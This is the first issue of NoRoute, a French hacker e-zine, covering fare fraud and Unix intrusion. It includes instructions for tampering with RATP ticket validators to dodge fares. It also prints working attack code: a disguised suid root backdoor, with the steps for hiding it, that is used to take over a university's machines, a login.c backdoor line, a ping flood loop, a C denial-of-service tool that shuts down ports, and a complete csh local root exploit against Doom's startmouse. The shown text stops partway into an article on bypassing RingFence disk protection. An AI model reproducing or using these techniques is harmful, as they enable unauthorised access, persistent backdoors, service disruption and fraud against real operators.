Copy Link
Add to Bookmark
Report
N0RoUTE Issue 1
,/$$$$$$$\.
#{[REWT!]}#
_"$$##[#]##$$"_
&&~$@#######@$~&&
|| ||
|| N0RoUTE ||
|| I ||
|| ||
&&~$@#######@$~&&
-.$$##[#]##$$.-
#{[!FORK]}#
`\$$$$$$$/'
--------------------==========[ D i S C L A i M E R ]==========-----------------
La lecture de cette publication electronique implique la lecture de ce
disclaimer.
Ce texte est fourni au lecteur a titre purement educatif et informatif. En
aucun cas les auteurs n'incitent ce dernier au non-respect de la loi, sous
toute forme qu'il soit.
Ce texte est destine uniquement aux personnes auxquelles les auteurs l'ont
remis, en consequence il peut etre considere comme une communication privee
des auteurs avec ces personnes.
Toute organisation representant un ordre quelconque ou toute agence de
renseignement est consideree comme etrangere aux personnes autorisees a lire
ce texte et en consequence aucune poursuite ne pourra etre faite contre les
auteurs pour leur publication. En clair, go get fucked.
-------------------================[ I N T R O ]===============-----------------
J'ai le plaisir de vous presenter NoRoute #1. Ce zine est destine tout
particulierement aux techniques evoluees orientees Unix:Rezo:Hack:Phreak:Crack
et tout ce qui touche de pres ou de loin au plaisir jouissif de detourner de
leur utilite principale les elements de techniques modernes d'aujourd'hui.
Ce Zine est produit en collaboration avec PhE, un groupe francais regroupant
des amateurs de sensations numeriques a haute influence physiologique..
J'espere donc que ce zine vous apportera plaisir et/ou connaissances et que
sa lecture deviendra necessaire a vos yeux....
Le cable arrive. Cela signifie Net gratuit, telecommunication permanente avec
le monde pour une somme negligeable, et donc retards et empechements de la
part de Farce Telecom, qui apres avoir tente de preserver le minitel au profit
du Net, continue son freinage inherant de l'avancee technologique en matiere
de telecommunications.
France Telecon nous fera surement aimer l'an 2000, mais certainement pas
autant que l'an 1998! Sur ce, l'introduction laisse la place au sommaire,
bonne lecture!
-s0RC3Ry->
-------------------=============[ S O M M A I R E ]============-----------------
Auteur Titre Numb Taille
/-----------\/----------------------------------------\/------\/--------\
| Octag0n || PlAY With thA RAtP || 4755 || 18 k |
| s0RC3Ry || Fak-Hak || 4756 || 12 k |
| s0RC3Ry || Un probleme d'Inetd || 4757 || 5 k |
| s0RC3Ry || dOOm blaster || 4758 || 5 k |
| Pixel4 || Applic sur Ring Fence || 4759 || 22 k |
| Cod4 || Hacking Pabxz || 4760 || 19 k |
| Cod4 || Hack de VMB || 4761 || 18 k |
| Mikasoft Traduction et commentaires d'un texte || || |
| Cod4 de Dan Farmer (Satan, Sun) || 4762 || 35 k |
| NeurAlien || French Scene ? <Phrack 46> || 4763 || 10 k |
| s0RC3Ry || Notions d'exploits || 4764 || 17 k |
| Larsen || Decouverte du spectre hertzien || 4765 || 5 k |
| Cod4 || Nfs || 4766 || 5 k |
| Kewl || Tcp/Ip || 4767 || 23 k |
\-----------/\----------------------------------------/\------/\--------/
-------------------------------------------------------------------------------
NoRoute #1 þ Play With Tha Ratp! þ 4755 þ Octag0n þ NoRoute #1
-------------------------------------------------------------------------------
ooooooooo oo oooooooo oooooooo
00 o 00 00 00 00 00
00 000000000 00000000 ooo 00000000
00 o 00 00 00 00
oooooo
000000000000000000
0000000000 0000000000
o00000oo 0000000 00000 o00
000000000000oo 000 0 o00000
00000000o 00000
o 00000o o0000 o
0000 0000o 0000 0000
0000 000 o000 0000
00000 0000000000 000 00000
00000 00 o00 00000
00000 000 00 00000
0000 00000 0 0000
00000 0000 00000
00000 0000 00000
000000 0000 000000
0000000 0000 000000
0000000 0000 0000000
0000000000 0000 000000000
0000000 0000 00000
0000
0000
0000
0000
+-/\/\/\/\/\/\/\/\/\/\-+
| PlAY With thA RAtP |
/ ou \
\ Comment faire /
/ des economies \
\ grace au RER. /
| |
+-\/\/par oCt4gOn/\/\/-+
Si, comme a nous autres, il vous arrive de prendre le RER et d'etre degoute
de l'honetete a force de banquer vos thunes dans les tickets dont le prix ne
cesse d'augmenter, alors il est temps pour vous de lire le present texte.
Dans cet article, nous allons decrire un moyen de trafiquer facilement les
composteurs. Pour la realisation, il va vous falloir:
- un fil de nylon assez epais ou un morceau de fil de fer.
- le fil de nylon est plus pratique a mon gout.
- euh... enfin bon, prenez les deux au cas ou...
- des talents de crocheteur.
- une bonne memoire (vous avez pas interet a lire ce texte comme un mode
d'emploi devant la machine ouverte :)
- un composteur RATP de banlieue bien cache dans la nuit.
- une lampe de poche pour eclairer le composteur.
- de la chance pour pas vous faire susprendre.
- ou bien un costume d'agent technique de la RATP si vous devez agir
pendant la journee.
Vouaala... Maintenant que vous etes prets, lisez la suite.
Le composteur de banlieue se presente sous la forme d'une boite posee sur un
pied de env. 1m de haut. Quand le technicien homologue vient pour ouvrir la
bebete, il tourne la clef qu'il a introduite dans la serrure situee sur le
cote droit. Bon, vous n'avez pas la clef, mais en revanche vous avez vos
talents de crocheteur et le fil. Inutile de vous prendre la tete avec des
idees de bourrins et de penser qu'il serait plus rapide de forcer la
serrure. Faites preuve de subtilite et veillez a ne pas laisser de traces
d'effraction (auquel cas la RATP pourrait avoir la mauvaise idee de
remplacer les composteurs pas des truks encore moins exploitables...). Bon
en fait, une fois que la clef est tournee, le technicien fait basculer le
capot du composteur vers l'avant (les charnieres sont situees sur l'arete
avant du capot). Quand il a termine son intervention, il referme simplement
le capot en le rebasculant dans sa position initiale. En fait le capot est
retenu par 2 penes a ressorts qui sont ecartes quand on tourne la clef.
Le composteur vu de cote: Le schema ci-contre vous illustre les
______________ explications. Maintenant vous voyez bien
/ | ou sont situes les deux penes (de chaque
/ \ cote du composteur. Le truk du crocheteur
/ \ consiste a repousser le pene vers l'avant
| \ du composteur avec le fil. Pour cela, il
| | faut introduire une partie du fil par la
| | fente, tout en le tenant par les deux bouts
=] ......|.. et de le tendre et de tirer dessus afin de
| : | : repousser le pene comme prevu. Lorsque le
|____________:_____| : pene est suffisemment repousse, le capot
| : (0)| : se leve un peu de lui meme (il doit aussi
| :.....|.: etre monte sur de legers ressorts). Vous
: savez alors que votre crochetage est
: reussi.
:
...............:.............
: | :
: OOo | :
: OOOOo | <---- capot
: pene --> OOOOOOo | :
: OOOOOOOOo | :
: OOOO | ___| :
: OOOO |____ <---- fente
: OOOO | :
: OOOOo | :
: O' 'Oo | <---- base
: serrure -> O, ,OO | :
: 'OOOO' | :
: | :
:...........................:
Une fois le capot bascule, vous avez l'electronique sous les yeux.
ATTENTION! Si vous devez refermer le capot en panique, evitez deja de
laisser le fil, quand c'est ouvert, vous n'en avez plus besoin, rangez-le.
RE-ATTENTION! Quand vous rebasculez le capot, il y a un morceau de metal qui
bascule et gene la fermeture, il suffit de le rebasculer a la main pour
refermer completement le capot.
Sur le cote ou se trouve la serrure, il y a un ecran LCD et un pave
numerique implantes sur la plaque. C'est ici que les choses interessantes
commencent.
C'est la que le technicien entre les parametres du composteur.
+-------------+ Si le composteur est en service et que tout va bien, l'ecran
| EN SERVICE | affiche "EN SERVICE". Les touches # et * servent respective-
+-------------+ ment a valider et annuler. Apres une premiere pression sur #,
( ) (1) (2) (3) la machine vous invite a entrer le mois, le jour, l'heure,
(A) (4) (5) (6) les minutes et l'annee. Les parametres suivants sont ceux de
(S) (7) (8) (9) la zone, de l'indicatif ligne, de numero de section et de
(C) (*) (0) (#) sous-reseau ("SS-RESEAU").
Le seul moyen interessant de profiter de tous ca est de jouer avec les
parametres de date et heure, a moins d'avoir un oncle technicien chez RATP
et de savoir ce que signifient les autres parametres (sous-reseau?!)...
Imaginez que vous devez prendre le RER regulierement entre deux stations de
banlieue. Vous achetez un ticket. Vous le compostez dans un composteur dans
lequel vous avez change la date pour une autre dans le futur (le mieux est
de prevoir large...au cas ou). Tant que vous ne vous faites pas controler,
tout va bien, remarquez que c'est la meme chose quand vous n'avez pas de
ticket, sauf que quand le vilain controleur vient vous demander votre "titre
de transport", vous n'avez pas ce desagreable mal de porte-feuille :). Le
controleur ne pourra pas savoir quand est-ce que le ticket a ete composte et
vous vous contenterez de lui dire que vous l'avez composte juste avant et
que vous ne comprenez pas non plus de quoi il s'agit, que c'est louche et
scandaleux, et que... et aussi...et de comment ca piece d'identite...? :)))
-------------------------------------------------------------------------------
NoRoute #1 þ Fak Hak þ 4756 þ s0RC3Ry þ NoRoute #1
-------------------------------------------------------------------------------
( -:$[ FAK HAK ]$:- )
+> Ou comment hacker sa fac en xxxx lecons <+
( Mais pas beaucoup en tout cas )
Cet article s'adresse aux debutants sous unix qui ont pas envie de se prendre
la tete a maitriser et qui ont besoin d'avoir acces au compte de leurs profs
par exemple (mais pour quoi faire au juste ?)...
Materiel necessaire.... NoRoute #1..
Un account sur une becanne unix de la fac..
Une legere connaissance de unix..
Une conscience..
Sous unix le seul account interessant est l'acces root. Nous sommes bien
d'accord, root est le compte qui vous permet de tout faire sur un systeme.
Son user_id est 0 est son group_id est le meme..
Commencez tout d'abord par reconnaitre le systeme utilise par la machine,
chaque systeme a ses holes et ses problemes... Pour cela, faites appel a
"uname -a" qui vous donnera une reponse franche :
SunOS 4.1.4 par exemple.. Vous avez desormais acces a un systeme bourre de
bugs potentiellement exploitables... La grande mode en matiere de hack, et
la grande technique utilisee par tous de nos jours car elle est simple et
efficace et ne demande pas une grande connaissance du systeme est l'exploit.
L'exploit est un petit programme ou une serie de commande trouvee par un
ingenieux bonhomme qui permet souvent de chopper l'acces root sur un systeme.
Obtenir des exploits n'est pas tres complique... Un petit ftpsearch sur
exploit vous donnera au moins un ftp bourre d'exploits pour differents systemes
que vous n'aurez plus qu'a utiliser pour chopper le root..
Un exploit celebre est celui de la commande umount sous BSD. Si cette commande
possede le bit suid c'est a dire si "ls -l /bin/umount" vous donne un truk
comme:
-rwsr-xr-x (presence du 's' vous l'avez vu ?)
et que la version de umount est assez ancienne, alors vous pouvez chopper un
root sur le systeme. Vous choppez l'exploit sur votre chti ftp, que nous
appelerons ici mount.c
Vous le compilez donc:
host:~> cc mount.c -o exploit
host:~> exploit
Discovered and Coded by Bloodmask and Vio, Covin 1996
bash# whoami
root
bash#
Et vous etes root. La simplicite de la chose explique pourquoi de nos jours
il y a tellement de jeunes abrutis qui annoncent fierement leurs root dans
#hack... =) Cet exploit utilise en fait une architecture de code propre aux
mauvais programmes qui permet de modifier l'adresse de retour d'un call.
En effet, le programme umount devient root pendant son execution grace
au bit suid. En l'executant et en forcant le retour d'un call vers une routine
qui execute un shell, on obtient ainsi un shell root...(voir exploits... =)
C'est un exemple parmi tant d'autres.. Disons franchement qu'en cherchant bien
sur le net et en essayant betement tous les exploits propres a un systeme, meme
si vous etes une grosse brelle en matiere d'unix, vous arriverez a chopper le
root dans votre fac huh... Bien entendu les administrateurs systemes des facs
sont au courant de ces exploits et fixent en permanence leur systeme contre
ceux-ci (du moins dans ma fac, ou j'ai eu un mal fou a chopper le root arf)..
Une fois que vous etes root, vous ne pouvez bien entendu pas vous permettre d'
utiliser l'exploit en question a chaque fois que vous desirez passer root
sur le syteme, pour la simple raison que ce hole ne restera pas longtemps en
place...
Il vous faut donc planquer quelquepart un chti programme qui vous donnera
l'acces root tout le temps mais qui ne sera pas decouvert par le root lui-meme..
Le mieux est d'avoir acces aux sources d'un programme suid peu souvent change
par la fac que vous pourrez modifier pour vous donner un shell lorsqu'il est
appele avec certains arguments... Par exemple, integrer a login.c un test
if (!strcmp(username,"sorcery")) return (0);
qui vous permettra de vous logger en root depuis n'importe ou... Sans laisser
de traces sur le syteme. L'exemple ci-dessus ne tient absolument pas compte
du code original de login.c le but est seulement de vous faire piger le
principe... =)
Un autre moyen, utilisable dans les systemes peu surveilles, mais assez
discret quand meme, est de vous creer votre programme a vous, suid, qui vous
donnera le root... Bien entendu il faut securiser ce programme en le deguisant
en programme normal. Donnez lui un nom qui fasse "vrai" et qui justifie le
bit suid par exemple "xfixconsole" qui d'apres son nom necessite un acces a
la console et donc un root..
Placez le dans un repertoire peu frequente tel que /usr/X11R5/bin/ par exemple.
Voici un exemple de code:
----8<-----8<-------8<--------8<-------cut here-------8<------8<-------
/* Xfixconsole by Sorcery
Sacre joli nom huh...
Ne donne le shell que si il est appele ansi:
host:~> xfixconsole fixing */
void main(int argc, char *argv[]) {
if ( (argv[1]) && (!strcmp(argv[0],"xfixconsole"))\
&& (!strcmp(argv[1],"fixing")) ) {
setuid(0);
setgid(0);
system("/bin/bash");
} else {
printf("\nFixed 0xA000\n");
}
}
----8<-----8<--------8<--------8<----------cut here---------8<--------
Ensuite, compilez le programme et placez le dans le repertoire voulu...
bash# cc xfixconsole.c -o xfixconsole
Avant de le deplacer, nous allons noter la date de derniere modif du rep
/usr/X11R5/bin... ("ls -l /usr/X11R5"). Disons que nous trouvons Jan 1 1994.
bash# mv xfixconsole /usr/X11R5/bin/
Il faut maintenant lui donner les permissions voulues (+s) pour qu'il puisse
changer son uid et son gid a 0...
bash# chmod +s /usr/X11R5/bin/xfixconsole
bash# ls -al !$
ls -al /usr/X11R5/bin/xfixconsole
-rwsr-xr-x 1 root wheel 38613 Jan 1 1997 .../bin/xfixconsole*
bash#
voila qui est mieux. Maintenant il faut cacher ce fichier: il y a trois choses
a modifier pour que le fichier passe discretement:
-la date du fichier
-son proprietaire
-la date du '.' (eh oui, la date du rep a change aussi)
Pour cela, nous mettons le fichier a la meme date que les fichiers qui lui
sont proches: (cela passe bien lorsqu'une serie de cinq fichiers sont cotes
a cotes et ont la meme date...)
bash# ls -l /usr/X11R5/bin/xf*
-r-xr-xr-x 1 root bin 385636 Jul 28 1995 /usr/X11R5/bin/xfig*
-rwxr-xr-x 1 root bin 148600 Jun 24 1995 /usr/X11R5/bin/xfile..
..manager*
-rwsr-xr-x 1 root wheel 38613 Jan 1 1997 /usr/X11R5/bin/xfix..
..console*
-rwxr-xr-x 1 root bin 117344 Jun 18 1995 /usr/X11R5/bin/xfm*
-rwxr-xr-x 1 root bin 770 Jun 18 1995 /usr/X11R5/bin/xfm.ins..
..tall*
-rwxr-xr-x 1 root bin 14184 Jun 18 1995 /usr/X11R5/bin/xfmtype*
bash#
bash# touch -t 180614591995 /usr/X11R5/bin/xfixconsole
bash# touch -t 010114591994 /usr/X11R5/bin
bash# chgrp bin /usr/X11R5/bin/xfixconsole
bash# ls -l /usr/X11R5/bin/xfixconsole
-rws--x--x 1 root bin 38613 Jun 18 1995 /usr/X11R5/bin/xfix..
..console*
Vous avez desormais un chti root sympa sur le systeme, qui vous permettra de
bien vous marrer.
A verifier cependant avant d'installer un tel prog: les crontabs. Dans
/usr/spool/cron/crontabs/root, vous trouverez une liste d'instructions
executees automatiquement par le systeme pour le root. Verifiez bien qu'aucun
script n'est lance qui detecterait par exemple les nouveaux suid installes
sur le systeme (utilisant generalement la commande find) ou autre chose
qui vous grillerait...
Choppez maintenant le fichier shadow, ou son equivalent selon les systemes..
(passwd.orig, passwd.secure, /auth/*/*...).. et crackez vous deux ou trois
accounts a l'aide d'un cracker trouve sur le net (guess, par exemple, ou
crack etc..). Cela vous permettra de ne plus vous logger avec votre compte
pour bidouiller le systeme, ce qui peut etre assez pratique parfois...
Passons maintenant a une aventure qui m'est arrivee dans ma fac et qui
pourrait bien vous arriver si votre fac utilise plusieurs parcs de systemes
differents...
J'avais le root sur le parc HPUX, et besoin du root sur les SunOS de ma
fac. Mon home etait le meme sur les deux, car le meme disk etait partage
par NFS entre les becannes. Le disque etait en local sur HPUX et en NFS
sur les SUNS. Le but etait donc d'exploiter le root de HPUX pour ne pas
avoir a essayer des dizaines d'exploits sur la sun dont le sunos etait
plutot bien protege... Voici donc la methode utilisee:
sun:~> indique que les commandes sont tapees sur la sun.
hp:~> indique que ma mere m'appelle pour diner ahum.
sun:~> cc xfixconsole.c -o root
j'avais donc dans mon home, le fichier xfixconsole.c compile pour sunos, bien
entendu non executable sur la hp...
hp:~> cd /usr/X11R5/bin
Car '/usr/X11R5/bin/xfixconsole fixing' ne marchera pas.. =)
hp:/usr/X11R5/bin/> xfixconsole fixing
bash_hp# cd
bash_hp# chown root.wheel ./root
bash_hp# chmod 755 ./root
bash_hp# ls -al ./root
-rwsr-sr-x (.../...) root
bash_hp#
sun:~> ./root
bash_sun# whoami
root
bash_sun#
En utilisant mon home comme passerelle, j'ai donc reussi a executer sur la
sun un suid via nfs... Il faut savoir que cela ne marchera que si:
1) Le root obtenu est sur la machine ou le home est local: via nfs, le root
n'a pas le droit de modifier des fichiers qui ne lui appartiennent pas,
et en particulier les rendre suid arf.. (sauf en "insecure"...)
2) Le filesystem est mounte via NFS sans le flag "nosuid" : pour verifier,
faites un df ., qui vous donnera les flags separes par des virgules en
plus de la place disk... (rw,nosuid...)
La meme manip est donc utilisee sur la sun... Pour utiliser touch sous sunos,
il faut passer par /usr/5bin qui contient les binaires repondant aux normes
SVR4 (system 5 release 4), car le /usr/bin de sunos contient un touch qui ne
permet pas de specifier une nouvelle date...
A la fin donc, si j'ai bien tout calcule, on se retrouve avec un controle
total de la fac qui peut etre assez plaisant =)...
[MAiS QUE FAiRE AVEC CE r00t ?]
Bonne question...
Plusieurs activites sont marrantes a faire avec un root. Il y a tout d'abord
le flood, qui, si vous avez le root sur un reseau a grande bande passante,
vous permet de faire couler pas mal de connections 14.4 sur le net...
Pour cela, plusieurs utilitaires existent sous linux par exemple, a peu pres
tous bases sur le syn flood qui a tendance a plus trop marcher. Le ping est
encore assez efficace: ping -f host en particulier si vous avez la bonne
version de ping....est assez mechant quand il est utilise avec des '&' par
exemple while (1)
while> ping -f host &
while> end
est assez marrant.... pour arreter le massacre, killer le while puis faire un
killall ping... ICMP rulez! =)
On peut egalement sniffer avec un root...si le systeme est un noeud important
pour d'autres becannes, ou si il est beaucoup frequente, il est possible de
chopper, en ecoutant les connections reseaux, plusieurs acces un peu partout
et pourquoi pas d'autres rewts.. =)
Enfin, le but du rewt est surtout de l'avoir, ensuite imaginez vous tout
simplement aux commandes d'un systeme en 64Mbits sur le net et vos idees
viendront vite... =)
-SorcerY
Grmbl..
Placons ici quelques greetings =)
Le truk chiant dont personne a rien a foutre sauf
Octagon [C+++++]
Mayweed [fz rulez =]
CoD4 [on a FINI! =)]
Kewl, Shybe, Larsen, Mikasoft...
Tout PHE et MJ13...
Vous tous dans #banane =)
Ceux que j'aurais oublie.... ?
-------------------------------------------------------------------------------
NoRoute #1 þ Un probleme d'inetd þ 4757 þ s0RC3Ry þ NoRoute #1
-------------------------------------------------------------------------------
-:$[Un probleme d'inetd...le looping]$:-
SorcerY
Sur une machine de type unix, il est possible de se connecter sur plusieurs
ports. Par exemple, le port 23 est celui du telnet, le 21 du ftp, le 110 est
reserve a pop-mail, le 25 est le mail.. pour gerer tous ces ports, il faut
des programmes, et pour eviter que 60 programmes tournent en meme temps sur
la machine pour ecouter les ports, on passe par un daemon, inetd, qui gere
lui meme les connections: il ecoute les requetes de connection sur les ports
et lance les programmes en fonction du besoin. Par exemple lors d'une
connection sur le port 23, il execute /usr/sbin/in.telnetd, daemon qui va
gerer la connection telnet.. [ok, il y a des exceptions... ]
Il y a quelques annees encore, une grande technique de flood existait et
amusait pas mal de monde: l'echo flood. Le port 7 des machines unix est en
effet un port special, qui sert d'echo: tout packet envoye sur ce port
est renvoye a l'expediteur... Le but de la manoeuvre etait d'envoyer
quelques packets sur le port 7 de la machine a flooder en se faisant passer
pour cette machine.. Le ping pong qui en resultait amenait generalement la
machine a ralentir terriblement et parfois a planter...
Pour controller ce genre d'evenements, les daemons d'echo refusent desormais
generalement les packets venant de localhost, et inetd dispose d'un controle
de ce loopbacking: quand un port est sollicite avec une trop grande frequence,
inetd coupe tout simplement ce port... Ensuite, par defaut sous beaucoup de
systemes, il faut attendre environ 20 minute pour que le port se rouvre ou
bien le relancer a la main (kill -HUP inetd).
Cette attaque ne sera sans doute pas efficace contre un gros serveur dont
l'inetd sera beaucoup moins sensible au looping (prenons l'exemple d'un www
qui est prevu pour recevoir environ 100 connections par minutes...).. De plus,
il est bon de savoir qu'un /var/adm/messages d'un serveur ayant subit cette
attaque sera rempli de +/-500 lignes contenant votre adresse IP. A faire donc
uniquement lors de connections PPP.... =)
------8<----------8<----------Cut herE-------8<-----------8<---------------8<-
/* pkill.c
* p0rt|<Iler v 0.001 by SorcerY
*
* Ce chti proggy vous permet de fermer 1 port d'une machine sans etre root.
* (Tout le monde aura un connection refused apres... =)
* depend du inetd, marche contre une RedHat/Slackware par defaut.
*
* Pour compiler:
*
* Victim:~> cc pkill.c -o pkill
*
*
* Credits:
* Alan Cox (gestion des sockets)
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
int Make_Connection(int port,const char *buf);
int Connect_To(int port,const char *buf)
{
if (Make_Connection(port,buf)==-1) {
printf ("%s's port number %i is now unreachable! \n",buf,port);
return(0);
}
return(1);
}
main(int argc,char *argv[]) {
if (argv[1]&&argv[2]) {
printf ("\nNow closing port %i on %s\n",atoi(argv[1]),argv[2]);
while(Connect_To(atoi(argv[1]),argv[2]));
printf("\n\nThanx to this lame kode, yeepee! =)\n");
} else {
printf("\n\nUsage: %s [port] [host]\n",argv[0]);
}
}
int Make_Connection(int port,const char *buf)
{
struct sockaddr_in myaddress;
struct hostent *host;
int v;
host=gethostbyname(buf);
if(host==NULL)
{
return(-1);
}
myaddress.sin_family=host->h_addrtype;
myaddress.sin_addr.s_addr=*((long *)host->h_addr);
myaddress.sin_port=htons(port);
v=socket(AF_INET,SOCK_STREAM,0);
/* Ouverture du socket apres initialisation des donnees pour la connection */
if(v==-1)
{
return(-1);
}
if(connect(v,(struct sockaddr *)&myaddress,sizeof(myaddress))<0)
/* Connection a la machine */
{
close(v);
return(-1);
}
return(v);
}
----------------------------------8<-------------8<----------------------------
-------------------------------------------------------------------------------
NoRoute #1 þ Doom est un jeu formidable.. þ 4758 þ s0RC3Ry þ NoRoute #1
-------------------------------------------------------------------------------
DooMRewT
ou pourquoi
DOOM EST UN JEU FORMIDABLE
Schblam! les monstres s'explosent sur le mur dans une giclee de sang.... =)
Doom est un jeu terrible. Il est terrible car il est tres repandu sur le net
pour un jeu tel que celui la : je l'ai trouve sur des IRIX (sgi) des SunOS
(sun huh) des Linux bien sur... Ce jeu est d'autant plus formidable qu'il est
livre avec linux par defaut et souvent installe par les admins =)
L'autre formidabilite de ce jeu est qu'il a ete porte sous linux par des burnes
totales en matiere de securite... Voili l'explication d'un exploit que j'ai
decouvert recemment alors que j'executais des fichiers au pif sur ma box (vi,
vous savez quand on s'emmerde on balaie le clavier de cd, ls, et on execute
ce qui nous passe sous les yeux c'est un tic assez universel chez les unixiens).
Explications [ Mais qu'est-ce qu'il raconte ? ]
Doom utilise svgalib. Donc doom ne supporte pas gpm. Or gpm est installe par
defaut sur toutes les stations linux utilisant la slackware. Donc doom doit
killer gpm avant de se lancer et le remettre apres. Or gpm est un programme
appartenant au root, donc doom doit etre suid pour killer gpm. Jusqu'ici tout
allait bien, sauf que chez ID software, ils se sont dit "on va pas se souler
a rajouter des lignes de code, on va faire deux programmes a part". Premiere
petite erreur. Encore pire, ils avaient fume je pense, ces pauvres bougres se
sont amuses a executer un script depuis un executable suid, mais alors un
script digne de microsoft! Un code de merde, qui bien entendu a engage de ma
part une contraction abdominale terrible suivie de hoquets bruyants devant
mon ecran...
Principe exact:
Deux programmes: killmouse et startmouse.
Ces deux programmes sont suid.
Ils executent respectivement "as root" killmouse.sh et startmouse.sh, deux
scripts shell...
Lorsque killmouse.sh kill la mouse il installe dans /tmp un fichier nomme
gpmkilled et qui permettra a startmouse de savoir que la mouse a bien ete
killee =) Quel bordel huh =).
Voici le source de startmouse.sh:
if [ -r /tmp/gpmkilled ]; then
/usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
/bin/sh /tmp/gpmscript
/bin/rm /tmp/gpmscript /tmp/gpmkilled
fi
explication: si le fichier /tmp/gpmkilled existe, alors on cherche la string
qui execute gpm dans rc.local pour etre sur de pas se planter et on la copie
dans un fichier /tmp/gpmscript. On execute ensuite ce fichier puis on retire
les deux fichiers temporaires.
Mais voila l'erreur... =)
Ce programme, execute en tant que root, contient la chaine suivante:
gpm -t ms &
Ehehe, aucun chemin n'est specifie pour gpm. Or, dans ce cas, le systeme
cherche au fil du $path le programme en question. Donc pour chopper un root,
il suffit d'executer les commandes suivantes:
becanne:~> touch /tmp/gpmkilled
becanne:~> cp /bin/bash /tmp/suid_shell
becanne:~> cat << END >> ~/gpm
/bin/chown root.root /tmp/suid_shell
/bin/chmod 04755 /tmp/suid_shell
END
becanne:~> chmod 755 ~/gpm
becanne:~> set path = ~/
becanne:~> /usr/games/doom/startmouse
gpm: already a gpm running, no process killed
becanne:~> /tmp/suid_shell
bash#
En settant le path vers notre home et en creeant un ~/gpm, il sera execute
comme root et vous pouvez donc y mettre ce que vous voulez.. Heureux ? =)
voici donc le script qui va avec (qui fait ca tout seul huh) pour les
faignants =)... Ps avant de partir (vi deja 3 articles ca fait beaucoup =)
N'abusez pas de ce truk c'est illegal et c'est juste pour rire que je vous
l'ai montre d'accord ?
Si vous desirez en abuser chez moi demandez moi la permission a
beigebox@mygale.org ........................Sorcery is powered by Linux.
#!/bin/csh
# Doom exploit by Sorcery / mj13
# Use it only on your system!
# doomroot.sh (mode 755 =)
#
# File to remove if it fails: ~/gpm,/tmp/gpmkilled,/tmp/gpmscript,/tmp/.X11-Unix
# Guy to great if it worx: beigebox@mygale.org (yeah, that's me ! :) )
#
# FIX: rm -rf /usr/games/doom =)
#
cp /bin/bash /tmp/.X11-Unix
touch /tmp/gpmkilled
cat << EOF >> ~/gpm
/bin/chown root.root /tmp/.X11-Unix
/bin/chmod 4755 /tmp/.X11-Unix
/bin/rm ~/gpm
EOF
chmod 755 ~/gpm
set oldpath = ( $path )
set path = ~/
/usr/games/doom/startmouse >& /dev/null
echo "\n This should happen now! =)"
echo "/tmp/.X11-Unix is perhaps your paradise, guy!"
echo " Found and Exploited by Sorcery\n"
/usr/bin/sleep 2 # let's wait for gpm to finish his work...
set path = ( $oldpath )
/tmp/.X11-Unix
# End of doom exploit
-Sorcery pour NoRoute #1-
-------------------------------------------------------------------------------
NoRoute #1 þ Applic sur RingFence þ 4759 þ Pixel4 þ NoRoute #1
-------------------------------------------------------------------------------
°±²ÛÛ²±° Comment degager les °±²ÛÛ²±°
°±²ÛÛ²±° residents empecheur de °±²ÛÛ²±°
°±²ÛÛ²±° Hacker en rond... °±²ÛÛ²±°
°±²ÛÛ²±° °±²ÛÛ²±°
°±²ÛÛ²±° Applic sur RingFence °±²ÛÛ²±°
Texte et code par PiXel4
(20/02/97)
Le hacking nous propose des themes tres varies... mais ds beaucoups
de cas cela necessite 1 acces sur 1 becane relie sur rezo local.
( cas d'une universite !) Mais avant de travailler correctement, y fo
installer kelque softs bien puissants :)
Et c'est toujours po evidant, vu que certain sysop de bahu ou d'univ mettent
des protections logicielles sur leurs becannes pour eviter le transfer par
disquettes !
Bah, tu me dira, on n'a ka faire sauter le prg... po aussi simple ;)
Tout d'abord, fo bien savoir de koa on parle...
-----------------------------------------------
Le logiciel cibler ici est destine a ne laisser "passer" que les disquettes
autorisees a etre utilises sur LE pc, elle sont dites "certifies". Si une autre
disquette venait a etre introduite, le petit prg resident declanche aussi tot 1
message du genre *Disk etranger !!!* en emettant 1 bruit desagreable et
strident, qui ne manquera po d'attirer l'attention de tout le monde et surtout
ds op ! BIIIIP BIIIP BIIIP Hehe, cale :(
Cela peut devenir genant puisque l'on peut meme plus stoker des utils, des
prg, des jeux sur les ordis...
Fo remedier a tout ca !
Analyse methodique :
--------------------
Le logiciel que je vais decrire s'appelle Ring Fence, mais il en
existe plein d'autres comme celui ci et ils marchent generalement tous de la
meme facon, alors l'adaptation n'est po tres complique !
A vous de la faire en fonction de ce que vous avez. Mais pour vous aider, un
fichier Zip a ete inclus avec l'article, pour vous permettre de vous faire la
main, et de mieux comprendre sont fonctionnement :)
Ring Fence (RF) est un petit residant en .COM, et il se charge en
memoire, appele par l'autoexec.bat, et se trouve ds la racine du hdd en
fichier cache.
Certains ont bien essaye de l'effacer pour supprimer le probleme,
mais c'est la qu'est le probleme !!! RF est se compose de 2 parties !
L'une visible, le fichier com, et l'autre sur les secteurs d'amorce du dur.
Donc si vous enlever RF.com ,1 partie de rf se charge quand meme, et resultat:
quand vous arrivez sous le dos, ben on ne peux rien faire (HDD en Read Only)
Po moyen d'ecrire sur le dur ! et bien sur il reconnait po les autres lecteurs
que le c:
Recapitulons:
- la partie cache de RF bride le hdd (read only)
- le fichier fr.com debride le hdd ( hdd ok) mais en plus ajoute 1 vecteur qui
controle si on place bien 1 disk certifie ds le lecteur A: ou B:
(Int 13h)
Actions :
---------
Il existe plein de methode pour contourner ce petit pb...
Je ne vais en developper qu'une... celle qui pour moa est la plus propre, car
apres votre passage, un autre utilisateur trouvera le hdd, et la memoire
intacte comme si le crack n'avait jamais eu lieu ( cas ds 1 univ.)
C'est donc une intervention en memoire et non 1 modif sur 1 fichier.
On pourrait aussi penser a 1 modif du fichier, en contournant le code implique
ds la verif du disk, (ce qui necessite de localiser le test CRC du logiciel,
car en principe ce genre de soft en on 1, pour eviter l'infection par ds virus
ou la modif par 1 petit malin ... mais ca c'est po 1 pb le CRC ! )
Ou alors, carrement degager l'integralite de RF sur le hdd
Mais alors la, c'est voyant et tout le monde peux faire ce qu'il veux avec les
lecteurs, et vous n'aurez plus d'acces privilegi :(
Ou tout simplement si vous ne savez po programmer, charger rf.com en memoire
et formater des diskquettes, qui seront donc certifier.
(tout ca chez vous, pour mettre les prg dont vous avez besion... )
Mais c'est certainement la solution la plus chiante... car elle necssite plein
d'op de formatage a chaque fois de l'on veux modifier qque chose !!!
(Ne marche po forcement avec un autres soft comme RF...)
Et j'en oubli encore, parceque yen a plein !
La technique que nous allons utiliser necessite quelques conaisances en ASM
